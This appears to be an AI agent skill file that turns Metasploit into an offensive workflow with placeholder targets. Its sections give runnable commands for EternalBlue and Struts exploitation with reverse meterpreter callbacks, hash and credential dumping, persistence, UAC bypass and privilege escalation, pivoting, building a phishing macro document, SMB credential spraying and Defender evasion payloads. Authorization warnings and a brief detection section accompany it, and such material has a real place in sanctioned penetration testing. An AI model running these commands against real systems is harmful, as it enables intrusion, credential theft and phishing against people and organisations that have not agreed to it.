---
name: pentest-metasploit
description: >
  Penetration testing framework for exploit development, vulnerability validation, and authorized
  security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in
  authorized security assessments, (2) Demonstrating exploit impact for security research,
  (3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration
  tests with proper scoping and authorization, (5) Developing post-exploitation workflows for
  red team operations.
version: 0.1.0
maintainer: sirappsec@gmail.com
category: offsec
tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team]
frameworks: [MITRE-ATT&CK, OWASP, PTES]
dependencies:
  packages: [metasploit-framework]
  tools: [postgresql, nmap]
references:
  - https://docs.metasploit.com/
  - https://www.offsec.com/metasploit-unleashed/
  - https://attack.mitre.org/
---

# Metasploit Framework Penetration Testing

## Overview

Metasploit Framework is the industry-standard platform for penetration testing, vulnerability validation, and exploit development. This skill provides structured workflows for authorized offensive security operations including exploitation, post-exploitation, and payload delivery.

**IMPORTANT**: This skill is for AUTHORIZED security testing only. Always ensure proper authorization, scoping documents, and legal compliance before conducting penetration testing activities.

## Quick Start

Initialize Metasploit console and verify database connectivity:

```bash
# Start PostgreSQL database (required for workspace management)
sudo systemctl start postgresql

# Initialize Metasploit database
msfdb init

# Launch Metasploit console
msfconsole

# Verify database connection
msf6 > db_status
```

## Core Workflow

### Penetration Testing Workflow

Progress:
[ ] 1. Verify authorization and scope
[ ] 2. Configure workspace and target enumeration
[ ] 3. Identify and select appropriate exploits
[ ] 4. Configure payload and exploit options
[ ] 5. Execute exploitation with proper documentation
[ ] 6. Conduct post-exploitation activities (if authorized)
[ ] 7. Document findings with impact assessment
[ ] 8. Clean up artifacts and sessions

Work through each step systematically. Check off completed items.

### 1. Authorization Verification

**CRITICAL**: Before any testing activities:
- Confirm written authorization from asset owner
- Review scope document for in-scope targets
- Verify IP ranges and systems authorized for testing
- Confirm allowed testing windows and blackout periods
- Document point of contact for emergency escalation

### 2. Workspace Setup

Create isolated workspace for engagement:

```bash
msf6 > workspace -a <engagement-name>
msf6 > workspace <engagement-name>
msf6 > db_nmap -sV -sC -O <target-ip-range>
```

Import existing reconnaissance data:

```bash
msf6 > db_import /path/to/nmap-scan.xml
msf6 > hosts
msf6 > services
```

### 3. Exploit Selection

Search for relevant exploits based on enumerated services:

```bash
msf6 > search type:exploit platform:windows <service-name>
msf6 > search cve:<cve-id>
msf6 > search eternalblue
```

Evaluate exploit suitability:
- **Reliability Ranking**: Excellent > Great > Good > Normal > Average
- **Stability**: Check crash potential
- **Target Compatibility**: Verify OS version and architecture
- **Required Credentials**: Determine if authentication needed

### 4. Exploit Configuration

Configure selected exploit module:

```bash
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <target-ip>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445

# Configure payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <listener-ip>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443

# Validate configuration
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
```

### 5. Exploitation Execution

Execute exploit with logging:

```bash
# Enable logging
msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-<date>.log

# Run exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

# Or run without auto-interaction
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
```

**Exploitation outcomes**:
- **Session opened**: Successful exploitation, proceed to post-exploitation
- **Exploit failed**: Review target compatibility, try alternative exploits
- **Target not vulnerable**: Document finding, move to next target
- **Service crash**: Document stability issue, attempt service restoration if authorized

### 6. Post-Exploitation (Authorized Activities Only)

Once session established, conduct authorized post-exploitation:

```bash
# List active sessions
msf6 > sessions -l

# Interact with session
msf6 > sessions -i <session-id>

# Gather system information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs

# Check network configuration
meterpreter > ipconfig
meterpreter > route

# Enumerate running processes
meterpreter > ps

# Check security controls
meterpreter > run post/windows/gather/enum_av_excluded
meterpreter > run post/windows/gather/enum_logged_on_users
```

**Common post-exploitation modules**:
- `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges)
- `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities
- `post/windows/gather/credentials/credential_collector` - Gather stored credentials
- `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized)

### 7. Privilege Escalation

If authorized for privilege escalation:

```bash
# Identify escalation vectors
meterpreter > run post/multi/recon/local_exploit_suggester

# Migrate to stable process
meterpreter > ps
meterpreter > migrate <stable-process-pid>

# Attempt privilege escalation
meterpreter > getsystem
meterpreter > getuid
```

Manual privilege escalation workflow:
1. Background current session: `background`
2. Select escalation module: `use exploit/windows/local/<escalation-module>`
3. Set session: `set SESSION <session-id>`
4. Run exploit: `exploit`

### 8. Lateral Movement

For authorized internal penetration tests:

```bash
# Enumerate network
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<internal-subnet>
meterpreter > run auxiliary/scanner/smb/smb_version

# Pivot through compromised host
meterpreter > run autoroute -s <internal-subnet>/24

# Use compromised host as proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j
```

Configure proxychains for pivoting:

```bash
# Edit /etc/proxychains4.conf
socks4 127.0.0.1 1080

# Run tools through pivot
proxychains nmap -sT -Pn <internal-target>
```

## Security Considerations

### Authorization & Legal Compliance

- **Written Authorization**: Maintain signed penetration testing agreement
- **Scope Adherence**: Only test explicitly authorized systems and networks
- **Data Protection**: Handle discovered data per engagement rules of engagement
- **Incident Response**: Immediately report critical findings per escalation procedures
- **Evidence Handling**: Maintain chain of custody for forensic evidence

### Operational Security

- **Callback Infrastructure**: Use dedicated, authorized callback servers
- **Attribution Prevention**: Avoid personal infrastructure or identifiable indicators
- **Traffic Encryption**: Use encrypted payloads (HTTPS, DNS tunneling)
- **Artifact Cleanup**: Remove exploitation artifacts post-engagement
- **Session Management**: Close sessions cleanly to avoid detection alerts

### Audit Logging

Log all penetration testing activities:
- Timestamp of exploitation attempts
- Source and destination systems
- Exploit modules and payloads used
- Commands executed in sessions
- Data accessed or exfiltrated
- Privilege escalation attempts
- Lateral movement actions

### Compliance

- **PTES**: Penetration Testing Execution Standard compliance
- **OWASP**: Alignment with application security testing methodology
- **MITRE ATT&CK**: Map TTPs to ATT&CK framework for threat modeling
- **PCI-DSS 11.3**: Penetration testing for payment card environments
- **SOC2**: Security testing for service organization controls

## Common Patterns

### Pattern 1: Web Application Exploitation

```bash
msf6 > use exploit/multi/http/apache_struts2_content_type_ognl
msf6 exploit(...) > set RHOSTS <web-server>
msf6 exploit(...) > set TARGETURI /vulnerable-app
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit
```

### Pattern 2: Database Server Exploitation

```bash
# SQL Server exploitation
msf6 > use exploit/windows/mssql/mssql_payload
msf6 exploit(mssql_payload) > set RHOSTS <sql-server>
msf6 exploit(mssql_payload) > set USERNAME sa
msf6 exploit(mssql_payload) > set PASSWORD <password>
msf6 exploit(mssql_payload) > exploit
```

### Pattern 3: Phishing Campaign Delivery

```bash
# Generate malicious document
msf6 > use exploit/windows/fileformat/office_word_macro
msf6 exploit(office_word_macro) > set FILENAME report.docm
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(office_word_macro) > set LHOST <callback-server>
msf6 exploit(office_word_macro) > exploit

# Set up listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST <callback-server>
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > exploit -j
```

### Pattern 4: Credential Spraying

```bash
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass <common-password>
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/smb/smb_login) > run
```

## Integration Points

### CI/CD Integration

Automated vulnerability validation in security pipelines:

```bash
# Headless Metasploit resource script
cat > exploit_validation.rc <<EOF
workspace -a ci-validation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS \${TARGET_IP}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST \${CALLBACK_IP}
exploit -z
exit
EOF

# Run headless validation
msfconsole -r exploit_validation.rc -o validation_results.txt
```

### Security Tools Integration

- **Nmap Integration**: Import reconnaissance data with `db_import`
- **Cobalt Strike**: Export sessions to Cobalt Strike beacons
- **Empire**: Handoff sessions to PowerShell Empire framework
- **BloodHound**: Combine with Active Directory enumeration
- **Burp Suite**: Integrate web vulnerability findings

### MITRE ATT&CK Mapping

Map Metasploit activities to ATT&CK framework:

- **Initial Access**: T1190 (Exploit Public-Facing Application)
- **Execution**: T1059 (Command and Scripting Interpreter)
- **Persistence**: T1547 (Boot or Logon Autostart Execution)
- **Privilege Escalation**: T1068 (Exploitation for Privilege Escalation)
- **Credential Access**: T1003 (OS Credential Dumping)
- **Lateral Movement**: T1021 (Remote Services)
- **Collection**: T1005 (Data from Local System)
- **Exfiltration**: T1041 (Exfiltration Over C2 Channel)

## Troubleshooting

### Issue: Session Dies Immediately

**Causes**:
- Antivirus detection of payload
- Incompatible payload architecture (x86 vs x64)
- Firewall blocking callback connection

**Solutions**:
```bash
# Try evasion techniques
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
msf6 evasion(...) > generate -f /path/to/evaded_payload.exe

# Use staged payload instead of stageless
set PAYLOAD windows/meterpreter/reverse_https  # staged
# vs
set PAYLOAD windows/meterpreter_reverse_https  # stageless

# Migrate immediately after session establishment
meterpreter > run post/windows/manage/migrate
```

### Issue: Exploit Fails with "Exploit completed, but no session was created"

**Causes**:
- Target not vulnerable
- Incorrect target version or architecture
- Payload compatibility issue

**Solutions**:
```bash
# Verify target vulnerability
msf6 exploit(...) > check

# Adjust target manually
msf6 exploit(...) > show targets
msf6 exploit(...) > set TARGET <target-index>

# Try alternative payload
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD <alternative-payload>
```

### Issue: Cannot Escalate Privileges

**Solutions**:
```bash
# Enumerate escalation opportunities
meterpreter > run post/multi/recon/local_exploit_suggester

# Try alternative techniques
meterpreter > getsystem -t 1  # Named Pipe Impersonation
meterpreter > getsystem -t 2  # Named Pipe Impersonation (Admin Drop)
meterpreter > getsystem -t 3  # Token Duplication

# Use UAC bypass if applicable
meterpreter > background
msf6 > use exploit/windows/local/bypassuac_injection
msf6 exploit(bypassuac_injection) > set SESSION <session-id>
msf6 exploit(bypassuac_injection) > exploit
```

## Defensive Considerations

Organizations can detect Metasploit activity by:

- **Network IDS**: Signature-based detection of default Metasploit payloads
- **Endpoint Detection**: Behavioral analysis of meterpreter process injection
- **Traffic Analysis**: Unusual outbound HTTPS connections to non-standard ports
- **Memory Forensics**: Detection of reflective DLL injection techniques
- **Log Analysis**: Unusual authentication patterns or process execution

Enhance defensive posture:
- Deploy endpoint detection and response (EDR) solutions
- Enable PowerShell script block logging
- Monitor for unusual parent-child process relationships
- Implement application whitelisting
- Detect lateral movement with network segmentation and monitoring

## References

- [Metasploit Documentation](https://docs.metasploit.com/)
- [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/)
- [MITRE ATT&CK Framework](https://attack.mitre.org/)
- [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/)
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)